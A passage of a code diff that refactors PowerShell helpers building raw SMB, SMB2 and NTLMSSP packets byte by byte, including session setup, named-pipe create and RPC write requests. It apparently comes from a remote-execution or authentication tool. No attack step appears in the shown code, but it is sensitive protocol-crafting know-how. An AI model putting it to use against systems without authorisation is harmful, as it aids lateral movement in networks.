+ $SMBCloseRequest.Add("FID",$FileID)
+ $SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff))
+ $SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00))
- return $packet_SMBCloseRequest
+ return $SMBCloseRequest
}
-function Get-PacketSMBTreeDisconnectRequest()
+function New-PacketSMBTreeDisconnectRequest
{
- $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00))
- $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00))
+ $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00))
+ $SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00))
- return $packet_SMBTreeDisconnectRequest
+ return $SMBTreeDisconnectRequest
}
-function Get-PacketSMBLogoffAndXRequest()
+function New-PacketSMBLogoffAndXRequest
{
- $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02))
- $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00))
-
- return $packet_SMBLogoffAndXRequest
+ $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02))
+ $SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00))
+
+ return $SMBLogoffAndXRequest
}
#SMB2
-function Get-PacketSMB2Header()
+function New-PacketSMB2Header
{
- param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID)
-
- [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00
-
- $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
- $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00))
- $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00))
- $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_Command",$packet_command)
- $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID)
- $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID)
- $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID)
- $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
- return $packet_SMB2Header
+ param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)
+
+ if($Signing)
+ {
+ $flags = 0x08,0x00,0x00,0x00
+ }
+ else
+ {
+ $flags = 0x00,0x00,0x00,0x00
+ }
+
+ [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)
+
+ if($message_ID.Length -eq 4)
+ {
+ $message_ID += 0x00,0x00,0x00,0x00
+ }
+
+ $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
+ $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00))
+ $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00))
+ $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00))
+ $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00))
+ $SMB2Header.Add("Command",$Command)
+ $SMB2Header.Add("CreditRequest",$CreditRequest)
+ $SMB2Header.Add("Flags",$flags)
+ $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2Header.Add("MessageID",$message_ID)
+ $SMB2Header.Add("ProcessID",$ProcessID)
+ $SMB2Header.Add("TreeID",$TreeID)
+ $SMB2Header.Add("SessionID",$SessionID)
+ $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+
+ return $SMB2Header
}
-function Get-PacketSMB2NegotiateProtocolRequest()
+function New-PacketSMB2NegotiateProtocolRequest
{
- $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02))
- $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02))
-
- return $packet_SMB2NegotiateProtocolRequest
+ $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00))
+ $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00))
+ $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00))
+ $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00))
+ $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02))
+ $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02))
+
+ return $SMB2NegotiateProtocolRequest
}
-function Get-PacketSMB2SessionSetupRequest()
+function New-PacketSMB2SessionSetupRequest
{
- param([Byte[]]$packet_security_blob)
-
- [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length)
- $packet_security_blob_length = $packet_security_blob_length[0,1]
-
- $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length)
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob)
-
- return $packet_SMB2SessionSetupRequest
+ param([Byte[]]$SecurityBlob)
+
+ [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]
+
+ $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00))
+ $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00))
+ $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01))
+ $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00))
+ $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length)
+ $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob)
+
+ return $SMB2SessionSetupRequest
}
-function Get-PacketSMB2TreeConnectRequest()
+function New-PacketSMB2TreeConnectRequest
{
- param([Byte[]]$packet_path)
+ param([Byte[]]$Buffer)
- [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length)
- $packet_path_length = $packet_path_length[0,1]
+ [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]
- $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00))
- $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00))
- $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00))
- $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length)
- $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path)
+ $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00))
+ $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
+ $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00))
+ $SMB2TreeConnectRequest.Add("PathLength",$path_length)
+ $SMB2TreeConnectRequest.Add("Buffer",$Buffer)
- return $packet_SMB2TreeConnectRequest
+ return $SMB2TreeConnectRequest
}
-function Get-PacketSMB2CreateRequestFile()
+function New-PacketSMB2CreateRequestFile
{
- param([Byte[]]$packet_named_pipe)
-
- $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length)
- $packet_named_pipe_length = $packet_named_pipe_length[0,1]
-
- $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length)
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe)
-
- return $packet_SMB2CreateRequestFile
+ param([Byte[]]$NamedPipe)
+
+ $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]
+
+ $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00))
+ $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00))
+ $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00))
+ $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00))
+ $SMB2CreateRequestFile.Add("NameLength",$name_length)
+ $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2CreateRequestFile.Add("Buffer",$NamedPipe)
+
+ return $SMB2CreateRequestFile
}
-function Get-PacketSMB2ReadRequest()
+function New-PacketSMB2ReadRequest
{
- param ([Byte[]]$packet_file_ID)
-
- $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID)
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00))
- $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30))
-
- return $packet_SMB2ReadRequest
+ param ([Byte[]]$FileID)
+
+ $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00))
+ $SMB2ReadRequest.Add("Padding",[Byte[]](0x50))
+ $SMB2ReadRequest.Add("Flags",[Byte[]](0x00))
+ $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00))
+ $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2ReadRequest.Add("FileID",$FileID)
+ $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00))
+ $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00))
+ $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30))
+
+ return $SMB2ReadRequest
}
-function Get-PacketSMB2WriteRequest()
+function New-PacketSMB2WriteRequest
{
- param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length)
-
- [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length)
-
- $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length)
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID)
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00))
- $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00))
-
- return $packet_SMB2WriteRequest
+ param([Byte[]]$FileID,[Int]$RPCLength)
+
+ [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)
+
+ $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00))
+ $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00))
+ $SMB2WriteRequest.Add("Length",$write_length)
+ $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMB2WriteRequest.Add("FileID",$FileID)
+ $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00))
+ $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00))
+ $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
+
+ return $SMB2WriteRequest
}
-function Get-PacketSMB2CloseRequest()
+function New-PacketSMB2CloseRequest
{
- param ([Byte[]]$packet_file_ID)
+ param ([Byte[]]$FileID)
- $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00))
- $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00))
- $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID)
+ $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00))
+ $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00))
+ $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMB2CloseRequest.Add("FileID",$FileID)
- return $packet_SMB2CloseRequest
+ return $SMB2CloseRequest
}
-function Get-PacketSMB2TreeDisconnectRequest()
+function New-PacketSMB2TreeDisconnectRequest
{
- $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00))
- $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00))
+ $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00))
+ $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
- return $packet_SMB2TreeDisconnectRequest
+ return $SMB2TreeDisconnectRequest
}
-function Get-PacketSMB2SessionLogoffRequest()
+function New-PacketSMB2SessionLogoffRequest
{
- $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00))
- $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00))
+ $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00))
+ $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00))
- return $packet_SMB2SessionLogoffRequest
+ return $SMB2SessionLogoffRequest
}
#NTLM
-function Get-PacketNTLMSSPNegotiate()
+function New-PacketNTLMSSPNegotiate
{
- param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version)
-
- [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length)
- $packet_NTLMSSP_length = $packet_NTLMSSP_length[0]
- [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32
- [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22
- [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20
- [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2
-
- $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags)
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
- if($packet_version)
+ param([Byte[]]$NegotiateFlags,[Byte[]]$Version)
+
+ [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0]
+ [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32
+ [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22
+ [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20
+ [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2
+
+ $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary
+ $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60))
+ $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1)
+ $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06))
+ $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06))
+ $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))
